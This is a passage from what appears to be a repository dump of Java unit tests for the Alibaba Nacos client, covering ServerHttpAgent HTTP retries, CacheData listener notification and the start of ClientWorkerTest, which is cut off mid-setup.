    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.http;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.impl.ConfigServerListManager;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.net.ConnectException;\nimport java.net.HttpURLConnection;\nimport java.net.SocketTimeoutException;\nimport java.util.Collections;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyMap;\nimport static org.mockito.ArgumentMatchers.contains;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo  remove strictness lenient\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass ServerHttpAgentTest {\n    \n    private static final String SERVER_ADDRESS_1 = \"http://1.1.1.1:8848\";\n    \n    private static final String SERVER_ADDRESS_2 = \"http://2.2.2.2:8848\";\n    \n    @Mock\n    ConfigServerListManager serverListManager;\n    \n    NacosRestTemplate cachedNacosRestTemplate;\n    \n    @Mock\n    HttpRestResult mockResult;\n    \n    @Mock\n    Iterator<String> mockIterator;\n    \n    @Mock\n    NacosRestTemplate nacosRestTemplate;\n    \n    ServerHttpAgent serverHttpAgent;\n    \n    HttpRestResult httpRestResult;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        serverHttpAgent = new ServerHttpAgent(serverListManager, new Properties());\n        injectRestTemplate();\n        when(serverListManager.getCurrentServer()).thenReturn(SERVER_ADDRESS_1);\n        when(serverListManager.getIterator()).thenReturn(mockIterator);\n        when(serverListManager.getServerList()).thenReturn(Collections.singletonList(SERVER_ADDRESS_2));\n        when(mockIterator.next()).thenReturn(SERVER_ADDRESS_2);\n        Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n        restMapField.setAccessible(true);\n        Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n        cachedNacosRestTemplate = restMap.get(\n                \"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\");\n        restMap.put(\"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\",\n                nacosRestTemplate);\n        httpRestResult = new HttpRestResult<String>();\n        httpRestResult.setData(\"127.0.0.1:8848\");\n        httpRestResult.setCode(200);\n        Mockito.when(nacosRestTemplate.get(contains(\"aaa:8080\"), any(), any(), any())).thenReturn(httpRestResult);\n    }\n    \n    private void injectRestTemplate() throws NoSuchFieldException, IllegalAccessException {\n        Field restTemplateField = ServerHttpAgent.class.getDeclaredField(\"nacosRestTemplate\");\n        restTemplateField.setAccessible(true);\n        restTemplateField.set(serverHttpAgent, nacosRestTemplate);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        serverHttpAgent.shutdown();\n        if (null != cachedNacosRestTemplate) {\n            Field restMapField = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n            restMapField.setAccessible(true);\n            Map<String, NacosRestTemplate> restMap = (Map<String, NacosRestTemplate>) restMapField.get(null);\n            restMap.put(\"com.alibaba.nacos.client.config.impl.ConfigHttpClientManager$ConfigHttpClientFactory\",\n                    cachedNacosRestTemplate);\n        }\n    }\n    \n    @Test\n    void testConstruct() throws NacosException {\n        NacosClientProperties mockedProperties = mock(NacosClientProperties.class);\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT)).thenReturn(\"aaa\");\n        when(mockedProperties.derive()).thenReturn(mockedProperties);\n        ConfigServerListManager server = new ConfigServerListManager(mockedProperties);\n        final ServerHttpAgent serverHttpAgent1 = new ServerHttpAgent(server);\n        assertNotNull(serverHttpAgent1);\n        \n        final ServerHttpAgent serverHttpAgent2 = new ServerHttpAgent(server, new Properties());\n        assertNotNull(serverHttpAgent2);\n        \n        final Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"1.1.1.1\");\n        final ServerHttpAgent serverHttpAgent3 = new ServerHttpAgent(properties);\n        assertNotNull(serverHttpAgent3);\n        \n    }\n    \n    @Test\n    void testGetterAndSetter() throws Exception {\n        NacosClientProperties mockedProperties = mock(NacosClientProperties.class);\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT)).thenReturn(\"aaa\");\n        when(mockedProperties.getProperty(PropertyKeyConst.NAMESPACE)).thenReturn(\"namespace1\");\n        when(mockedProperties.getProperty(PropertyKeyConst.ENDPOINT_REFRESH_INTERVAL_SECONDS, \"30\")).thenReturn(\"30\");\n        when(mockedProperties.derive()).thenReturn(mockedProperties);\n        ConfigServerListManager server = new ConfigServerListManager(mockedProperties);\n        server.start();\n        final ServerHttpAgent serverHttpAgent = new ServerHttpAgent(server, new Properties());\n        \n        final String appname = ServerHttpAgent.getAppname();\n        //set by AppNameUtils, init in ParamUtils static block\n        assertEquals(\"unknown\", appname);\n        \n        final String encode = serverHttpAgent.getEncode();\n        final String namespace = serverHttpAgent.getNamespace();\n        final String tenant = serverHttpAgent.getTenant();\n        final String name = serverHttpAgent.getName();\n        assertNull(encode);\n        assertEquals(\"namespace1\", namespace);\n        assertEquals(\"namespace1\", tenant);\n        assertEquals(\"Config-custom-aaa_8080_nacos_serverlist_namespace1\", name);\n        server.shutdown();\n        \n    }\n    \n    @Test\n    void testLifCycle() throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"aaa\");\n        ConfigServerListManager server = Mockito.mock(ConfigServerListManager.class);\n        final ServerHttpAgent serverHttpAgent = new ServerHttpAgent(server, properties);\n        \n        serverHttpAgent.start();\n        Mockito.verify(server).start();\n        \n        Assertions.assertDoesNotThrow(() -> {\n            serverHttpAgent.shutdown();\n        });\n    }\n    \n    @Test\n    void testHttpGetSuccess() throws Exception {\n        when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpGet(\"/test\", Collections.emptyMap(), Collections.emptyMap(),\n                \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testHttpGetFailed() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n            when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_NOT_FOUND);\n            serverHttpAgent.httpGet(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testHttpWithRequestException() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenThrow(new ConnectException(),\n                    new SocketTimeoutException(), new NacosException());\n            serverHttpAgent.httpGet(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testRetryWithNewServer() throws Exception {\n        when(mockIterator.hasNext()).thenReturn(true);\n        when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenThrow(new ConnectException());\n        when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_2 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpGet(\"/test\", Collections.emptyMap(), Collections.emptyMap(),\n                \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testRetryTimeout() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>get(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenThrow(new SocketTimeoutException());\n            serverHttpAgent.httpGet(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 0);\n        });\n    }\n    \n    @Test\n    void testHttpPostSuccess() throws Exception {\n        when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), anyMap(), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpPost(\"/test\", Collections.emptyMap(),\n                Collections.emptyMap(), \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testHttpPostFailed() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), anyMap(), eq(String.class))).thenReturn(mockResult);\n            when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_NOT_FOUND);\n            serverHttpAgent.httpPost(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testHttpPostWithRequestException() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), anyMap(), eq(String.class))).thenThrow(new ConnectException(),\n                    new SocketTimeoutException(), new NacosException());\n            serverHttpAgent.httpPost(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testRetryPostWithNewServer() throws Exception {\n        when(mockIterator.hasNext()).thenReturn(true);\n        when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), anyMap(), eq(String.class))).thenThrow(new ConnectException());\n        when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_2 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), anyMap(), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpPost(\"/test\", Collections.emptyMap(),\n                Collections.emptyMap(), \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testRetryPostTimeout() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>postForm(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), anyMap(), eq(String.class))).thenThrow(new SocketTimeoutException());\n            serverHttpAgent.httpPost(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 0);\n        });\n    }\n    \n    @Test\n    void testHttpDeleteSuccess() throws Exception {\n        when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpDelete(\"/test\", Collections.emptyMap(),\n                Collections.emptyMap(), \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testHttpDeleteFailed() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n            when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_NOT_FOUND);\n            serverHttpAgent.httpDelete(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testHttpDeleteWithRequestException() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenThrow(new ConnectException(),\n                    new SocketTimeoutException(), new NacosException());\n            serverHttpAgent.httpDelete(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 1000);\n        });\n    }\n    \n    @Test\n    void testRetryDeleteWithNewServer() throws Exception {\n        when(mockIterator.hasNext()).thenReturn(true);\n        when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenThrow(new ConnectException());\n        when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_2 + \"/test\"), any(HttpClientConfig.class),\n                any(Header.class), any(Query.class), eq(String.class))).thenReturn(mockResult);\n        when(mockResult.getCode()).thenReturn(HttpURLConnection.HTTP_OK);\n        HttpRestResult<String> actual = serverHttpAgent.httpDelete(\"/test\", Collections.emptyMap(),\n                Collections.emptyMap(), \"UTF-8\", 1000);\n        assertEquals(mockResult, actual);\n    }\n    \n    @Test\n    void testRetryDeleteTimeout() throws Exception {\n        assertThrows(ConnectException.class, () -> {\n            when(nacosRestTemplate.<String>delete(eq(SERVER_ADDRESS_1 + \"/test\"), any(HttpClientConfig.class),\n                    any(Header.class), any(Query.class), eq(String.class))).thenThrow(new SocketTimeoutException());\n            serverHttpAgent.httpDelete(\"/test\", Collections.emptyMap(), Collections.emptyMap(), \"UTF-8\", 0);\n        });\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/CacheDataTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.ConfigChangeEvent;\nimport com.alibaba.nacos.api.config.PropertyChangeType;\nimport com.alibaba.nacos.api.config.listener.AbstractSharedListener;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;\nimport com.alibaba.nacos.client.config.listener.impl.AbstractConfigChangeListener;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Properties;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass CacheDataTest {\n    \n    @Test\n    void testConstructorAndEquals() {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData cacheData1 = new CacheData(filter, \"name1\", \"key\", \"group\", \"tenant\");\n        assertEquals(\"CacheData [key, group]\", cacheData1.toString());\n        \n        final CacheData cacheData2 = new CacheData(filter, \"name2\", \"key\", \"group\");\n        assertEquals(cacheData1, cacheData2);\n        assertEquals(cacheData1.hashCode(), cacheData2.hashCode());\n        \n        final CacheData cacheData3 = new CacheData(filter, \"name2\", \"key3\", \"group\", \"tenant\");\n        assertNotEquals(cacheData1, cacheData3);\n    }\n    \n    @Test\n    void testGetter() {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData cacheData1 = new CacheData(filter, \"name1\", \"key\", \"group\", \"tenant\");\n        \n        assertTrue(cacheData1.isInitializing());\n        assertNull(cacheData1.getContent());\n        assertEquals(0, cacheData1.getTaskId());\n        assertFalse(cacheData1.isConsistentWithServer());\n        assertFalse(cacheData1.isUseLocalConfigInfo());\n        assertEquals(0, cacheData1.getLastModifiedTs().intValue());\n        assertEquals(0, cacheData1.getLocalConfigInfoVersion());\n        \n        cacheData1.setInitializing(false);\n        cacheData1.setContent(\"123\");\n        cacheData1.setTaskId(123);\n        cacheData1.setConsistentWithServer(true);\n        cacheData1.setType(\"123\");\n        long timeStamp = new Date().getTime();\n        cacheData1.setLastModifiedTs(timeStamp);\n        cacheData1.setUseLocalConfigInfo(true);\n        cacheData1.setLocalConfigInfoVersion(timeStamp);\n        \n        assertFalse(cacheData1.isInitializing());\n        assertEquals(\"123\", cacheData1.getContent());\n        assertEquals(MD5Utils.md5Hex(\"123\", \"UTF-8\"), cacheData1.getMd5());\n        \n        assertEquals(123, cacheData1.getTaskId());\n        assertTrue(cacheData1.isConsistentWithServer());\n        assertEquals(\"123\", cacheData1.getType());\n        assertTrue(cacheData1.isUseLocalConfigInfo());\n        assertEquals(timeStamp, cacheData1.getLastModifiedTs().longValue());\n        assertEquals(timeStamp, cacheData1.getLocalConfigInfoVersion());\n    }\n    \n    @Test\n    void testNotifyWarnTimeout() {\n        System.setProperty(\"nacos.listener.notify.warn.timeout\", \"5000\");\n        long notifyWarnTimeout = CacheData.initNotifyWarnTimeout();\n        assertEquals(5000, notifyWarnTimeout);\n        System.setProperty(\"nacos.listener.notify.warn.timeout\", \"1bf000abc\");\n        long notifyWarnTimeout2 = CacheData.initNotifyWarnTimeout();\n        assertEquals(60000, notifyWarnTimeout2);\n    }\n    \n    @Test\n    void testListener() throws NacosException {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData cacheData1 = new CacheData(filter, \"name1\", \"key\", \"group\", \"tenant\");\n        \n        Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return null;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n            }\n        };\n        cacheData1.addListener(listener);\n        assertEquals(1, cacheData1.getListeners().size());\n        assertEquals(listener, cacheData1.getListeners().get(0));\n        \n        cacheData1.removeListener(listener);\n        assertEquals(0, cacheData1.getListeners().size());\n        \n    }\n    \n    @Test\n    void testCheckListenerMd5() throws NacosException {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData data = new CacheData(filter, \"name1\", \"key\", \"group\", \"tenant\");\n        final List<String> list = new ArrayList<>();\n        Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return Runnable::run;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n                list.add(configInfo);\n            }\n        };\n        data.addListener(listener);\n        data.checkListenerMd5();\n        assertTrue(data.checkListenersMd5Consistent());\n        assertEquals(0, list.size());\n        \n        data.setContent(\"new\");\n        assertFalse(data.checkListenersMd5Consistent());\n        data.checkListenerMd5();\n        assertEquals(1, list.size());\n        assertEquals(\"new\", list.get(0));\n        \n    }\n    \n    @Test\n    void testCheckListenerMd5NotifyTimeouts() throws NacosException {\n        System.setProperty(\"nacos.listener.notify.warn.timeout\", \"1000\");\n        long notifyWarnTimeout = CacheData.initNotifyWarnTimeout();\n        assertEquals(1000, notifyWarnTimeout);\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData data = new CacheData(filter, \"name1\", \"keytimeouts\", \"group\", \"tenant\");\n        Listener listener = new Listener() {\n            @Override\n            public Executor getExecutor() {\n                return Runnable::run;\n            }\n            \n            @Override\n            public void receiveConfigInfo(String configInfo) {\n                try {\n                    Thread.sleep(11000);\n                } catch (InterruptedException e) {\n                    throw new RuntimeException(e);\n                }\n            }\n        };\n        \n        AtomicReference<String> dataIdNotifyTimeouts = new AtomicReference();\n        NotifyCenter.registerSubscriber(new Subscriber() {\n            \n            @Override\n            public void onEvent(Event event) {\n                ChangeNotifyBlockEvent changeNotifyBlockEvent = (ChangeNotifyBlockEvent) event;\n                dataIdNotifyTimeouts.set(changeNotifyBlockEvent.getDataId());\n                System.out.println(\"timeout:\" + changeNotifyBlockEvent.getDataId());\n            }\n            \n            @Override\n            public Class<? extends Event> subscribeType() {\n                return ChangeNotifyBlockEvent.class;\n            }\n        });\n        data.addListener(listener);\n        data.setContent(\"new\");\n        data.checkListenerMd5();\n        assertTrue(data.checkListenersMd5Consistent());\n        assertEquals(\"keytimeouts\", dataIdNotifyTimeouts.get());\n    }\n    \n    @Test\n    void testAbstractSharedListener() throws NacosException {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData data = new CacheData(filter, \"name1\", \"keyshare\", \"group\", \"tenant\");\n        \n        final String[] dataIdReceive = new String[1];\n        final String[] groupReceive = new String[1];\n        final String[] contentReceive = new String[1];\n        \n        Listener listener = new AbstractSharedListener() {\n            @Override\n            public Executor getExecutor() {\n                return Runnable::run;\n            }\n            \n            @Override\n            public void innerReceive(String dataId, String group, String configInfo) {\n                dataIdReceive[0] = dataId;\n                groupReceive[0] = group;\n                contentReceive[0] = configInfo;\n            }\n            \n        };\n        data.addListener(listener);\n        String content = \"content\" + System.currentTimeMillis();\n        data.setContent(content);\n        data.checkListenerMd5();\n        assertTrue(data.checkListenersMd5Consistent());\n        assertEquals(\"keyshare\", dataIdReceive[0]);\n        assertEquals(\"group\", groupReceive[0]);\n        assertEquals(contentReceive[0], content);\n    }\n    \n    @Test\n    void testAbstractConfigChangeListener() throws NacosException {\n        ConfigFilterChainManager filter = new ConfigFilterChainManager(new Properties());\n        final CacheData data = new CacheData(filter, \"name1\", \"keyshare\", \"group\", \"tenant\");\n        data.setType(\"properties\");\n        data.setContent(\"a=a\\nb=b\\nc=c\");\n        \n        AtomicReference<ConfigChangeEvent> changeItemReceived = new AtomicReference<>();\n        Listener listener = new AbstractConfigChangeListener() {\n            @Override\n            public void receiveConfigChange(ConfigChangeEvent event) {\n                changeItemReceived.set(event);\n            }\n            \n            @Override\n            public Executor getExecutor() {\n                return Runnable::run;\n            }\n            \n        };\n        data.addListener(listener);\n        String content = \"b=b\\nc=abc\\nd=d\";\n        data.setContent(content);\n        data.checkListenerMd5();\n        assertTrue(data.checkListenersMd5Consistent());\n        assertEquals(PropertyChangeType.DELETED, changeItemReceived.get().getChangeItem(\"a\").getType());\n        assertEquals(PropertyChangeType.MODIFIED, changeItemReceived.get().getChangeItem(\"c\").getType());\n        assertEquals(PropertyChangeType.ADDED, changeItemReceived.get().getChangeItem(\"d\").getType());\n    }\n    \n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/config/impl/ClientWorkerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.config.ConfigType;\nimport com.alibaba.nacos.api.config.listener.AbstractListener;\nimport com.alibaba.nacos.api.config.listener.Listener;\nimport com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigRemoveRequest;\nimport com.alibaba.nacos.api.config.remote.response.ClientConfigMetricResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigChangeBatchListenResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigPublishResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigQueryResponse;\nimport com.alibaba.nacos.api.config.remote.response.ConfigRemoveResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.config.common.GroupKey;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigFilterChainManager;\nimport com.alibaba.nacos.client.config.filter.impl.ConfigResponse;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.monitor.MetricsMonitor;\nimport com.alibaba.nacos.common.remote.ConnectionType;\nimport com.alibaba.nacos.common.remote.client.RpcClient;\nimport com.alibaba.nacos.common.remote.client.RpcClientFactory;\nimport com.alibaba.nacos.common.remote.client.grpc.GrpcClientConfig;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport com.fasterxml.jackson.databind.JsonNode;\nimport io.prometheus.client.Gauge;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.File;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.Executor;\nimport java.util.concurrent.atomic.AtomicBoolean;\nimport java.util.concurrent.atomic.AtomicReference;\n\nimport static com.alibaba.nacos.api.annotation.NacosProperties.NAMESPACE;\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyLong;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass ClientWorkerTest {\n    \n    private static final String TEST_NAMESPACE = \"TEST_NAMESPACE\";\n    \n    MockedStatic<RpcClientFactory> rpcClientFactoryMockedStatic;\n    \n    MockedStatic<LocalConfigInfoProcessor> localConfigInfoProcessorMockedStatic;\n    \n    @Mock\n    RpcClient rpcClient;\n    \n    private ClientWorker clientWorker;\n    \n    private ClientWorker clientWorkerSpy;\n    \n    @BeforeEach\n    void before() throws Exception {\n        rpcClientFactoryMockedStatic = Mockito.mockStatic(RpcClientFactory.class);\n        \n        rpcClientFactoryMockedStatic.when(() -> RpcClientFactory.createClient(anyString(), any(ConnectionType.class),\n                any(GrpcClientConfig.class))).thenReturn(rpcClient);\n        rpcClientFactoryMockedStatic.when(() -> RpcClientFactory.createClient(anyString(), any(ConnectionType.class),\n                any(GrpcClientConfig.class))).thenReturn(rpcClient);\n        